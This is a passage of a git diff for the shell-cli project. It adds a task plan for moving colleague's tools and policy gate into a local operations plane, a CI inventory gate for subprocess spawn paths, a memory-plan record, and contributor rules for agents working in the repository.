semantics unchanged. owns: colleague/policy.py, loop.py, worktrees.py, subagents.py, cli/_commands/work.py", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "A repo-level approvals.json with a deny still denies when 'colleague work' runs isolated \u2014 regression test over the isolation worktree path", + "A nested subagent inherits the source-root snapshot; regression test covers the nested-worktree case", + "Per-model overlay behaviour is byte-identical before and after \u2014 the release changes resolution only", + "An expected-but-unresolved policy emits a visible diagnostic, never a silent allow-all", + "Lands as a PRIVATE security advisory / private fix PR and PUBLISHES a fixed colleague release; public disclosure follows the release" + ], + "deps": [], + "covers": [ + "c49", + "h37", + "c50", + "h38", + "c67", + "h62" + ], + "instruction": "" + }, + { + "id": "t70", + "summary": "[colleague / security-lane / separate review / publishes a colleague release] Harden child policy as a restriction of the parent: child_effective = parent_cap INTERSECT source_root_child_model_policy, deny winning and allowlists intersecting. owns: colleague/policy.py, subagents.py", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "A child cannot obtain a broader run_command allowance than its parent by selecting a different model", + "Ships as its own reviewed change with migration notes, never bundled into the security release" + ], + "deps": [ + "t69" + ], + "covers": [ + "c52", + "h40" + ], + "instruction": "" + }, + { + "id": "t71", + "summary": "[shell-cli / M0 / PR1 \u2014 FIRST MERGED shell-cli PR / publishes scaffold-only release] Release and publishing hardening BEFORE any later merge publishes. owns: .github/workflows/publish.yml, docs/release-runbook.md", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "Publish depends on the COMPLETE test/lint/honesty suite; the wheel is built and installed into a clean environment and a CLI/import smoke test runs against that INSTALLED wheel", + "colleague pins shell-cli with an upper bound (e.g. >=0.8,<0.9) until 1.0", + "The colleague PR adding the dependency updates test_base_dependency_is_exactly_agentfront AND its docstring in the same commit", + "A yank-and-fix-forward runbook exists before anything colleague depends on is published", + "The security fix is explicitly exempt from the migration-proposal gate", + "This PR merges FIRST \u2014 every subsequent shell-cli merge publishes", + "INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice" + ], + "deps": [], + "covers": [ + "c64", + "h59", + "c41", + "h29", + "c42", + "h30", + "c43", + "h31", + "c55", + "h55", + "c38", + "h57" + ], + "instruction": "" + }, + { + "id": "t72", + "summary": "[shell-cli / M0 / PR2 / publishes scaffold-only release] Post the six-part Milestone 0/1 plan on issue #1, align every guidance surface with the operations-plane issue, and document the WebGlass peer-seam boundary. owns: issue #1, CLAUDE.md, AGENTS.colleague.md, README.md", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "The issue reply names all six items from section 17; no shell-cli implementation PR merges before it is posted", + "grep across all guidance surfaces finds no subclass seam and no settled question presented as open", + "The WebGlass boundary is documented as a colleague peer seam with provider-neutral artifact transfer only", + "DEFERRED: the ContainerRunner-specific threat-model split is Milestone 4 and is NOT delivered here", + "INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice" + ], + "deps": [ + "t71" + ], + "covers": [ + "c19", + "h58", + "c6", + "h2", + "c39", + "h25", + "c33", + "h14", + "c68", + "h63" + ], + "instruction": "" + }, + { + "id": "t73", + "summary": "[shell-cli / M0 / PR3 / publishes scaffold-only release] Commit the inventory scanner with its pinned SHA and wire --check into CI as a known-debt gate that publishes debt_remaining. owns: scripts/colleague_inventory.py, .github/workflows/tests.yml", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "--check exits 0 at the pinned commit and non-zero on any unclassified spawn path, proven against a synthetic fixture", + "CI publishes debt_remaining every run, derived from the committed ALLOWLIST", + "Every guidance surface derives the 21-spawn/15-module figure from the scanner rather than transcribing it", + "DEFERRED: installs and reports the counter ONLY. Driving debt from 13 to zero is Milestone 3", + "INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice" + ], + "deps": [ + "t71" + ], + "covers": [ + "c23", + "h26", + "c58", + "h43" + ], + "instruction": "" + }, + { + "id": "t74", + "summary": "[shell-cli / M0 / PR4 / publishes scaffold-only release] Capture the FIXED colleague baseline: generate schemas and fixtures, build the provider-neutral harness interface, and prove fixture regeneration. owns: tests/characterization/, tests/fixtures/colleague/", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "Fixtures and the six schemas are generated from colleague at a recorded SHA AFTER the security fix \u2014 never hand-written", + "Schemas pinned byte-for-byte including key order, _PATH_DESC interpolation, list_dir's absent 'required' key, and read_file's literal backslash escapes", + "The harness interface is provider-neutral \u2014 it can drive an implementation that does not exist yet", + "Fixture regeneration is proven: re-running against the same SHA reproduces byte-identical fixtures", + "SCOPE: does NOT run both implementations \u2014 none exists yet. Differential parity is owned by the M2 parity task", + "INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice", + "Pins colleague AFTER BOTH security-lane releases \u2014 the source-root policy fix (t69) and the child-policy cap hardening (t70) \u2014 so fixtures capture the fully hardened baseline. This is an explicit dependency, not a wave-order coincidence: characterization must never encode pre-hardening policy composition as parity." + ], + "deps": [ + "t69", + "t71", + "t70" + ], + "covers": [ + "c16", + "h9" + ], + "instruction": "" + }, + { + "id": "t75", + "summary": "[shell-cli / M0 / PR5 / publishes scaffold-only release] Install the source-hash drift gate BEFORE extraction begins. owns: tests/test_drift_gate.py, scripts/handler_hashes.json", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "A change to either copy of the six handlers during the migration window fails CI rather than relying on a human remembering", + "Characterization fixtures are regenerated from colleague at a pinned commit, never hand-maintained", + "The gate is live before the first extraction PR", + "INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice" + ], + "deps": [ + "t74" + ], + "covers": [ + "c59", + "h44" + ], + "instruction": "" + }, + { + "id": "t76", + "summary": "[shell-cli / M1 / PR6 / publishes] FOUNDATION: Operation, OperationResult, Environment with schema_version, the lifecycle pipeline, HostRunner skeleton \u2014 WITH the zero-dep guard, honesty gate and WebGlass negative-import check. owns: shell/operations.py, results.py, environment.py, tests/test_zero_deps.py, tests/test_honesty.py, tests/test_boundaries.py", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "The zero-dep guard ships IN THIS PR: asserts dependencies literally, snapshots sys.modules, and fails when a third-party import is added", + "shell-cli's import graph contains no colleague module and no webglass module", + "Every new surface passes test_honesty.py so no unguarded surface can land first", + "A preview is reported as its own status, never as success", + "shell/fs/__init__.py is an EMPTY package marker \u2014 no functional exports are predeclared before the modules exist; consumers use explicit module imports", + "INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice" + ], + "deps": [ + "t74", + "t71" + ], + "covers": [ + "c61", + "c27", + "c30", + "c2", + "h48", + "c4", + "h50", + "c3", + "h49" + ], + "instruction": "" + }, + { + "id": "t77", + "summary": "[shell-cli / M1 / PR7 / publishes] Evidence contract: effects-completeness marker, redaction scope, schema_version on persisted records, storage location, retention, degraded-evidence behaviour \u2014 tested against SYNTHETIC results. owns: shell/evidence.py, docs/evidence-contract.md", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "The contract states which secret classes are redacted and which are not; a test shows a declared secret redacted while acknowledging an undeclared secret echoed by a command is not", + "schema_version is readable off Operation, OperationResult and any persisted evidence record; storage location and retention are documented", + "A forced evidence-write failure yields a result explicitly marked degraded, never a silent success", + "SCOPE: contract-level only against synthetic results. Real process.shell effects integration is the M1 process task; colleague lint routing is Milestone 3", + "INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice" + ], + "deps": [ + "t76" + ], + "covers": [ + "c45", + "c46", + "h34", + "c66", + "h61" + ], + "instruction": "" + }, + { + "id": "t78", + "summary": "[shell-cli / M1 / PR8 / publishes] Port the policy evaluator with no config-dir coupling, and snapshot policy from source_root with generalised read-only paths. owns: shell/policy.py, tests/test_policy.py. consumes: colleague @ fixed SHA", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "shell-cli's policy module imports nothing from colleague and resolves no config-dir layout of its own", + "colleague's existing approvals.json files load through the adapter and produce byte-identical verdicts", + "Absent, malformed and expected-but-unresolved remain three distinct states", + "An operation whose work_root contains a policy file cannot change its own active authorization", + "Extraction begins only with the drift gate already live", + "INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice" + ], + "deps": [ + "t76", + "t75", + "t69" + ], + "covers": [ + "c26", + "h54", + "c11", + "h5", + "c12", + "h6" + ], + "instruction": "" + }, + { + "id": "t79", + "summary": "[shell-cli / M1 / PR9 / publishes] Evaluate policy INSIDE the operation dispatch on REWRITTEN arguments, so no caller can route around the gate. owns: shell/operations.py dispatch, tests/test_dispatch_policy.py", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "A caller invoking dispatch directly with no orchestration layer still receives the policy verdict", + "A rewrite turning an ALLOWED command into a DENIED one is caught, because the gate inspects rewritten arguments not the original call", + "A rewrite may change arguments only; the operation kind passes through unchanged", + "INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice" + ], + "deps": [ + "t78" + ], + "covers": [ + "c53", + "h41", + "c56", + "h56" + ], + "instruction": "" + }, + { + "id": "t80", + "summary": "[shell-cli / M1 / PR10 / publishes] HostRunner execution semantics: process groups, timeout and cancellation escalation, orphan-prevention honesty. owns: shell/runners/host.py, tests/test_host_runner.py", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "Commands start in their own process group; on timeout or cancel the group is terminated, waited briefly, then killed", + "Evidence records the termination signal and the escalation path", + "Platforms where orphan prevention is incomplete are named in documentation", + "INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice" + ], + "deps": [ + "t77", + "t79" + ], + "covers": [ + "c65", + "h60" + ], + "instruction": "" + }, + { + "id": "t81", + "summary": "[shell-cli / M1 / PR11 / publishes] fs.read and fs.list, preserving number-then-truncate and the recoverable-error wrapper. owns: shell/fs/read.py, shell/fs/list.py (DISJOINT)", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "A truncated read's surviving line numbers match the real file \u2014 numbering precedes truncation", + "A handler raising an unexpected exception yields a recoverable model-visible error, never a run abort", + "Paths escaping the configured root are refused", + "Imported by explicit module path; no functional export is added to shell/fs/__init__.py", + "INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice" + ], + "deps": [ + "t79", + "t77" + ], + "covers": [ + "c17", + "h52" + ], + "instruction": "" + }, + { + "id": "t82", + "summary": "[shell-cli / M1 / PR12 / publishes] fs.write and fs.edit with byte accounting. owns: shell/fs/write.py (DISJOINT)", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "The executor serves the six primitives without requiring spawn, batch_spawn, deepthink or an allowlist", + "bytes_written matches colleague: full content on write, replacement bytes only on edit", + "Results carry schema_version and declared changed-path effects", + "Imported by explicit module path; no functional export is added to shell/fs/__init__.py", + "INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice" + ], + "deps": [ + "t79", + "t77" + ], + "covers": [ + "c18" + ], + "instruction": "" + }, + { + "id": "t83", + "summary": "[shell-cli / M1 / PR13 / publishes] fs.media vendoring only the media slice while preserving the handler-level 4 MiB cap and images-only rule. owns: shell/fs/media.py (DISJOINT)", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "A 5 MiB PNG is REFUSED and an audio file refused with the images-only message, asserted against both the colleague and shell-cli paths", + "A source scan confirms flatten_parts and IMAGE_TOKEN_ESTIMATE are absent from shell-cli", + "colleague's five media call sites stay green against its retained copy", + "Imported by explicit module path; no functional export is added to shell/fs/__init__.py", + "INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice" + ], + "deps": [ + "t79", + "t77" + ], + "covers": [ + "c15", + "h8", + "c10", + "h4", + "c44", + "h32" + ], + "instruction": "" + }, + { + "id": "t84", + "summary": "[shell-cli / M1 / PR14 / publishes] process.exec and process.shell with distinct profiles, separately captured stdout/stderr, and REAL effects/redaction integration. owns: shell/process/exec.py, shell/process/shell.py", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "OperationResult always captures stdout and stderr SEPARATELY; the colleague adapter renders the legacy concatenated string during parity", + "process.shell and hook execution carry distinct profiles in evidence", + "REAL integration: an actual shell command that writes a file it never declared reports effects_complete = false", + "REAL integration: an actual command echoing a declared secret has it redacted in captured output", + "Control operations use argv vectors, never raw shell strings", + "run_command parity: fresh shell, rooted cwd, bounded timeout, current output rendering", + "DEFERRED: routing colleague's real lint/run_tests/hook execution is Milestone 3", + "INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice" + ], + "deps": [ + "t80" + ], + "covers": [ + "c24", + "h12", + "h33" + ], + "instruction": "" + }, + { + "id": "t85", + "summary": "[shell-cli / M1 / PR15 / publishes] Policy and operation CLI surface with honest scope reporting; library-versus-CLI equivalence proven with a REAL fs.read operation. owns: shell/cli/_commands/policy.py, operation.py, shell/explain/catalog.py", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "Library/CLI equivalence uses a REAL fs.read operation (not a synthetic injected one): the same Operation through the library API and through the CLI yields identical status, policy verdict and effects", + "The CLI reaches no execution path the library cannot", + "'shell policy check' returns the same Verdict the execution path would apply \u2014 same allow/deny and same reason string", + "'shell policy explain' names gated operation kinds AND reports ungated kinds as explicitly ungated", + "'shell operation show' retrieves persisted evidence written under the evidence contract", + "Registering a verb with no catalog entry fails CI; every noun with action-verbs exposes 'overview'", + "INVARIANT (every shell-cli PR): version bumped; all lint/test/honesty gates green; catalog/explain/Status documentation updated for any changed surface; no unrelated work batched into this slice" + ], + "deps": [ + "t79", + "t77", + "t81" + ], + "covers": [ + "c13", + "h7", + "c51", + "h39", + "c7", + "h3", + "h46" + ], + "instruction": "" + }, + { + "id": "t86", + "summary": "[colleague / M2 / PR1 / publishes a colleague release] Add the bounded shell-cli dependency and compose the adapter into colleague's router WITHOUT subclassing, proving colleague drives all six tools through shell-cli. owns: colleague/tools.py, loop.py, pyproject.toml, tests/test_zero_deps.py", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "colleague drives every one of its six tools through shell-cli without importing anything colleague-specific from it", + "colleague composes shell-cli's executor without subclassing it", + "Role curation and runtime refusal, hook rewrite before policy, and policy-denial telemetry meaning are unchanged", + "write_file/edit_file still apply immediately through the adapter; changed-file, subagent and bytes_written accounting stay intact", + "The adapter renders the legacy concatenated stdout+stderr string so model-visible behaviour is unchanged", + "The dependency lands with an upper bound, and the zero-deps test plus its docstring are updated in the same commit" + ], + "deps": [ + "t81", + "t82", + "t83", + "t84", + "t85" + ], + "covers": [ + "h15", + "h53" + ], + "instruction": "" + }, + { + "id": "t87", + "summary": "[colleague / M2 / PR2 / publishes a colleague release] Run differential parity \u2014 both implementations in one session over identical fixtures \u2014 then remove colleague's legacy implementation. owns: colleague/tools.py (legacy handler removal)", + "origin": "llm", + "status": "confirmed", + "acceptance_criteria": [ + "Both implementations run against identical fixtures IN THE SAME SESSION with zero behavioural differences BEFORE any legacy code is deleted", + "Schema-diff count, base dependency count and behavioural-diff count are CI assertions that fail the build when non-zero", + "The six schemas remain byte-identical through the cutover", + "After cutover, the safety description in shell-cli and in colleague say the same thing about the same code path, with no surface claiming more than the runner delivers", + "Legacy handlers are removed only after parity is green; the drift gate is retired in the same PR" + ], + "deps": [ + "t86" + ], + "covers": [ + "c31", + "h19", + "c36", + "h21", + "h18" + ], + "instruction": "" + } + ], + "risks": [ + { + "id": "r1", + "text": "Container isolation profile cannot be verified until ContainerRunner exists, and Docker/Podman defaults differ \u2014 'configured' and 'verified' must not be conflated in Milestone 4", + "kind": "unknown_nonblocking", + "task_id": null, + "resolved": false, + "resolution": "" + }, + { + "id": "r2", + "text": "Project containers and git metadata: mounting only a linked worktree does not preserve in-worktree git behaviour, and mounting the host common .git writable is forbidden. Undecidable until Milestone 4", + "kind": "unknown_nonblocking", + "task_id": null, + "resolved": false, + "resolution": "" + }, + { + "id": "r3", + "text": "Whether shell-cli's policy file format stays byte-compatible with colleague's approvals.json or goes native with a compatibility reader \u2014 a divergent format mis-keys silently rather than erroring", + "kind": "unknown_nonblocking", + "task_id": null, + "resolved": false, + "resolution": "" + }, + { + "id": "r4", + "text": "Surfaces the challenge pass did not examine: telemetry/OTEL, the agentfront CLI registry, MCP, resident/appserver, TUI, and non-POSIX hosts", + "kind": "unknown_nonblocking", + "task_id": null, + "resolved": false, + "resolution": "" + }, + { + "id": "r5", + "text": "WAVE-2 FILE COLLISION: t15 (fs.read/fs.list), t16 (fs.write/fs.edit + executor constructor) and t17 (fs.media) are formally parallel but all land in shell/fs/ and share the executor constructor t16 defines. Wave 2 is operationally serialized at merge unless the fs package is split into disjoint modules (fs/read.py, fs/write.py, fs/media.py) with the constructor extracted into the t6 core, or t16 is sequenced before t15/t17. The waves output does NOT detect this \u2014 dependency graphs sequence content, not file writes.", + "kind": "unknown_blocking", + "task_id": "t16", + "resolved": true, + "resolution": "CLOSED \u2014 stale. Referenced rejected tasks t15/t16/t17 from the first plan draft. The collision is resolved in the final graph: fs is split into disjoint modules (t81 owns read.py+list.py, t82 owns write.py, t83 owns media.py), the executor constructor is hoisted into the t76 foundation, and shell/fs/__init__.py is an empty package marker with consumers using explicit module imports. No same-wave file contention remains." + }, + { + "id": "r6", + "text": "OUT OF SCOPE BY DECISION: c47/h35 (worktree concurrency and the non-reentrant advisory flock) belongs to Milestone 3 \u2014 routing colleague's git/worktree mechanics through shell-cli. This plan covers Security lane + M0/M1 + M2 cutover only, so no task delivers it and the target is deliberately UNCOVERED rather than covered by a task that merely mentions it.", + "kind": "out_of_scope", + "task_id": null, + "resolved": false, + "resolution": "" + }, + { + "id": "r7", + "text": "OUT OF SCOPE BY DECISION: c60/h45 (deliberate hook-specific policy) is explicitly a standalone, separately reviewed design change and not part of migration parity. No task in this plan delivers it; the target is deliberately UNCOVERED.", + "kind": "out_of_scope", + "task_id": null, + "resolved": false, + "resolution": "" + }, + { + "id": "r8", + "text": "RESOLVED: the earlier wave-2 filesystem collision is fixed by splitting fs into disjoint modules \u2014 t40 owns shell/fs/read.py+list.py, t41 owns write.py, t42 owns media.py, and the executor constructor is hoisted into the t35 foundation. Residual: all three may touch shell/fs/__init__.py, so exports should be declared once in t35 rather than appended per task.", + "kind": "follow_up", + "task_id": null, + "resolved": true, + "resolution": "CLOSED \u2014 stale. Referenced rejected tasks t40-t42 and proposed declaring exports once in shell/fs/__init__.py, which the final plan rejects: predeclaring functional exports before the modules exist would mean fake or stub exports. The adopted solution is an EMPTY package marker plus explicit module imports, asserted in t76 and in each of t81/t82/t83." + }, + { + "id": "r9", + "text": "DEFERRED TO M3 (not covered, by decision): c40/h27 \u2014 driving subprocess debt from 13 to zero. This plan's t53 installs and reports the counter only; migrating all 13 debt-tagged modules is Milestone 3.", + "kind": "out_of_scope", + "task_id": null, + "resolved": true, + "resolution": "SUPERSEDED by r14 \u2014 text referenced rejected task t53; the scanner task is now t73." + }, + { + "id": "r10", + "text": "DEFERRED TO M3 (not covered, by decision): c25/h13 \u2014 routing colleague's real lint execution through shell-cli so its ruff --fix mutations surface as changed-path effects. t57 covers the generic evidence contract against synthetic results; t65 covers real process.shell integration. The colleague lint proof is Milestone 3.", + "kind": "out_of_scope", + "task_id": null, + "resolved": true, + "resolution": "SUPERSEDED by r15 \u2014 text referenced rejected tasks t57 and t65; the evidence-contract task is now t77 and the process task is now t84." + }, + { + "id": "r11", + "text": "DEFERRED TO M4 (not covered, by decision): c8/h51 \u2014 the ContainerRunner-specific per-runner split of docs/threat-model.md. It must land in the same PR that introduces ContainerRunner, which is Milestone 4.", + "kind": "out_of_scope", + "task_id": null, + "resolved": false, + "resolution": "" + }, + { + "id": "r12", + "text": "DEFERRED TO M3 (not covered, by decision): c29/h17 \u2014 the complete after-state where EVERY local operation is mediated and colleague has no unclassified direct subprocess path. This plan delivers the operation plane and the six primitives; routing the remaining control/project paths is Milestone 3.", + "kind": "out_of_scope", + "task_id": null, + "resolved": false, + "resolution": "" + }, + { + "id": "r13", + "text": "COVERAGE-MODEL LIMITATION (devague#85): these 12 targets are confirmed roadmap requirements deferred to separately scoped plans. Export coverage should be calculated against THIS plan's declared target subset, not every confirmed target in the parent spec. No placeholder task pretends to deliver them. Until devague supports deferred targets, this plan will not pass 'plan converge' \u2014 that is a tool limitation, not a plan defect.", + "kind": "unknown_blocking", + "task_id": null, + "resolved": false, + "resolution": "" + }, + { + "id": "r14", + "text": "DEFERRED TO M3 (not covered, by decision): c40/h27 \u2014 driving subprocess debt from 13 to zero. t73 installs the scanner and reports the debt_remaining counter only; migrating all 13 debt-tagged modules through shell-cli is Milestone 3.", + "kind": "out_of_scope", + "task_id": null, + "resolved": false, + "resolution": "" + }, + { + "id": "r15", + "text": "DEFERRED TO M3 (not covered, by decision): c25/h13 \u2014 routing colleague's real lint execution through shell-cli so its ruff --fix mutations surface as changed-path effects. t77 covers the generic evidence contract against synthetic results; t84 covers real process.shell effects and redaction integration. The colleague lint proof is Milestone 3.", + "kind": "out_of_scope", + "task_id": null, + "resolved": false, + "resolution": "" + } + ] +} diff --git a/.eidetic/memory/default__public.jsonl b/.eidetic/memory/default__public.jsonl new file mode 100644 index 0000000..0f47e3f --- /dev/null +++ b/.eidetic/memory/default__public.jsonl @@ -0,0 +1 @@ +{"id": "plan-3layer-memory-evolution-2026-06-20", "hash": "db353fae964d96158a26d878e9a159ec5f6e8877cf3dba0a6c34e7e86b7535c3", "content": "3-layer memory evolution plan for eidetic-cli (requested 2026-06-20 by Ori). Layer 1 Migration: migrate the old ~/.claude memory skill data into eidetic across all stores \u2014 files (core.md, notes.md), Neo4j knowledge graph, MongoDB RAG. Eidetic becomes the drop-in replacement. Layer 2 Freshness/Temporal: every record carries a date signature and is temporal; signal strength degrades over time (a year-old fact is weaker than a fresh one); recalling and validating a fact reinforces its signal; remembering a new fact connected to an old one keeps them linked and the stronger validated one gains signal. Layer 3 No active deletion: memory is never actively deleted; a conflicting memory with a stronger signal shadows (supersedes but preserves) the older one; memory older than one year is archived. Open question to investigate: does the old memory solution already have a freshness mechanism. Skills to use: think (devague spec), remember, ask-colleague (explore/work/review).", "scope": {"name": "default", "visibility": "public"}, "metadata": {"type": "note", "record_metadata": {"source": "claude-code-session", "author": "Ori", "timestamp": "2026-06-20", "topic": "memory-architecture", "status": "proposed-spec", "relates_to": "eidetic-memory-surface"}, "created": "date-unknown", "last_recall": "2026-07-18T19:41:00.565496+00:00", "recall_count": 13, "links": [], "supersedes": null, "lifecycle": "active", "added_by": null}} diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 3562c6c..c6d4edb 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -74,6 +74,102 @@ jobs: - name: afi rubric gate run: uv run teken cli doctor . --strict + inventory-gate: + # The known-debt gate for colleague's process-spawn paths. + # + # WHY: shell-cli exists to become the single mediated local-operations + # plane. That only holds if colleague stops growing *new* unmediated + # subprocess paths while the known ones migrate. This job fails the moment + # an unclassified spawn path appears, and publishes `debt_remaining` — the + # count of modules still owning their own spawn — on every run, so the + # number trends visibly toward the Milestone 3 target of zero. + # + # This job REPORTS debt; it does not fail on it. Driving 13 -> 0 is + # Milestone 3 work, not a gate today. + # + # agentculture/colleague is public, so the gate clones it at the pinned SHA + # rather than depending on a local checkout. If the clone fails the job + # fails loudly — a gate that silently no-ops is worse than no gate. + runs-on: ubuntu-latest + permissions: + contents: read + steps: + - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + + - uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5 + with: + python-version: "3.12" + + # Single source of truth for the pin: the committed scanner. + - name: Read pinned colleague SHA + id: pin + run: | + set -euo pipefail + SHA=$(python3 -c " + import re, pathlib + src = pathlib.Path('scripts/colleague_inventory.py').read_text() + m = re.search(r'^PINNED_SHA = \"([0-9a-f]{40})\"$', src, re.M) + if not m: + raise SystemExit('PINNED_SHA not found in scripts/colleague_inventory.py') + print(m.group(1)) + ") + echo "sha=$SHA" >> "$GITHUB_OUTPUT" + echo "Pinned colleague SHA: $SHA" + + # A clone failure fails the job here, before the gate can no-op. + - name: Clone colleague at the pinned SHA + uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 + with: + repository: agentculture/colleague + ref: ${{ steps.pin.outputs.sha }} + path: .colleague-src + fetch-depth: 1 + + - name: Inventory colleague spawn paths + run: | + set -euo pipefail + python3 scripts/colleague_inventory.py .colleague-src --json | tee inventory.json + # Prove we actually scanned the pinned commit. Without this the gate + # could pass against some other tree and nobody would notice. + python3 -c " + import json, sys + d = json.load(open('inventory.json')) + if not d['sha_matches']: + print('::error::scanned {} but pinned {}'.format( + d['observed_sha'], d['pinned_sha'])) + sys.exit(1) + " + + # Published BEFORE the gate runs, so the counter appears even on a + # failing run. + - name: Publish debt_remaining + run: | + set -euo pipefail + DEBT=$(python3 -c "import json; print(json.load(open('inventory.json'))['debt_remaining'])") + SITES=$(python3 -c "import json; print(json.load(open('inventory.json'))['spawn_sites'])") + MODS=$(python3 -c "import json; print(json.load(open('inventory.json'))['modules'])") + + echo "::notice title=colleague spawn debt::debt_remaining=$DEBT (target 0 by Milestone 3) — $SITES spawn sites across $MODS modules" + + { + echo "## colleague process-spawn inventory" + echo + echo "| metric | value |" + echo "| --- | --- |" + echo "| spawn sites | $SITES |" + echo "| modules | $MODS |" + echo "| **debt_remaining** | **$DEBT** (target 0 by Milestone 3) |" + echo + echo "Modules still owning their own spawn:" + echo + echo '```' + python3 -c "import json; print('\n'.join(json.load(open('inventory.json'))['debt_modules']))" + echo '```' + } >> "$GITHUB_STEP_SUMMARY" + + - name: Gate — no unclassified spawn paths + run: python3 scripts/colleague_inventory.py .colleague-src --check + version-check: # Only run on PR events. On push to main after a merged PR, the comparison # would always fail (PR_VERSION == MAIN_VERSION because HEAD and origin/main diff --git a/.gitignore b/.gitignore index 95a383a..7ce909a 100644 --- a/.gitignore +++ b/.gitignore @@ -228,3 +228,8 @@ __marimo__/ # Per-machine skills config (copy from skills.local.yaml.example) skills.local.yaml + +# devague working state (not committed by default) +.devague/questions/ + +.devague/reviews/ diff --git a/.markdownlint-cli2.yaml b/.markdownlint-cli2.yaml index 1bb9dc8..fa0ca07 100644 --- a/.markdownlint-cli2.yaml +++ b/.markdownlint-cli2.yaml @@ -19,5 +19,14 @@ ignores: - ".local/**" - ".afi/**" - ".teken/**" + # Generated devague artifacts — spec exports and the plan projection. devague + # renders claim/task text verbatim, and that text legitimately contains Python + # identifiers (_CLAIM, _read_file, __init__.py) which markdownlint reads as + # emphasis (MD037) or strong (MD050). Hand-fixing a generated file is the + # wrong repair: the fix is upstream escaping, tracked as + # agentculture/devague#87. Excluded rather than reformatted, same rationale + # as the vendored skills below. + - "docs/specs/**" + - "docs/plans/**" # Vendored skills are cited verbatim from guildmaster — do not reformat them. - ".claude/skills/**" diff --git a/AGENTS.colleague.md b/AGENTS.colleague.md index 8c2f65b..608e1da 100644 --- a/AGENTS.colleague.md +++ b/AGENTS.colleague.md @@ -9,3 +9,50 @@ finish). Follow the operator's AGENTS.md instructions and the skills loaded from .colleague/skills/ when present. Prefer small, reversible steps; handoff via finish when done. + +## Where you are + +This repository is **shell-cli — the guarded local operations plane for AI +agents**. It gives a harness one place to plan, authorize, execute, observe and +record a local operation, so every harness stops reimplementing that surface and +its safety model. It is not another agent: no model, planner, memory, browser, +or domain workflow lives here. + +`colleague` is the **first consumer, not the owner**. colleague imports +shell-cli; shell-cli must never import colleague. + +[Issue #1](https://github.com/agentculture/shell-cli/issues/1) is the source of +truth for scope. `CLAUDE.md` is the full contributor guide — read it before +non-trivial work. Where the two disagree, the issue wins. + +## Rules you can break by accident + +These are contracts, not preferences. Each one breaks a downstream consumer or +an explicit honesty commitment if violated. + +- **The core is pure-stdlib.** `pyproject.toml` has `dependencies = []` and must + keep it. A third-party import means colleague cannot import this package at + all. Git and container engines are external executables discovered on PATH and + driven by `subprocess` — an SDK is a dependency, so it is not an option. +- **It is a guard, not a sandbox — never upgrade the claim.** The execution gate + inspects a string a shell later re-interprets, so it is bypassable. It guards + against careless behaviour, not adversarial behaviour. + `tests/test_honesty.py` enforces this mechanically across the shipped + surfaces; it permits the word "sandbox" only inside a negating sentence. If + that test blocks you, change the wording, not the test. +- **Mutation and execution preview by default.** The CLI requires `--apply`; + imported callers must pass `apply=True`. A preview is never reported as + success. +- **Every PR bumps the version.** Every push to `main` publishes to PyPI, and CI + fails a PR whose version matches `main` — including docs-only and CI-only + changes. See `docs/release-runbook.md`. +- **Errors never leak tracebacks.** Every CLI failure raises `CliError` and + routes through `emit_error`. Results go to stdout, diagnostics to stderr. + New subparsers must be built with `parser_class=_CliArgumentParser`. + +## Scope boundaries + +Do not add capability that belongs to a sibling repo: web search and navigation +belong to `webglass-cli`, memory semantics to `eidetic-cli`, and reasoning, +planning, roles and orchestration to colleague itself. Only provider-neutral +artifacts cross those seams. diff 